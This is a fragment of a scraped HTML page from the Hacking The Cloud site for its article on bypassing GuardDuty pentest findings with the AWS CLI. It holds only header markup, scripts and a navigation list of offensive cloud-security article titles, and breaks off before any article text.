42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4 checked> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=true> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#burp-suite-setup-and-usage class=md-nav__link> <span class=md-ellipsis> Burp Suite Setup and Usage </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label 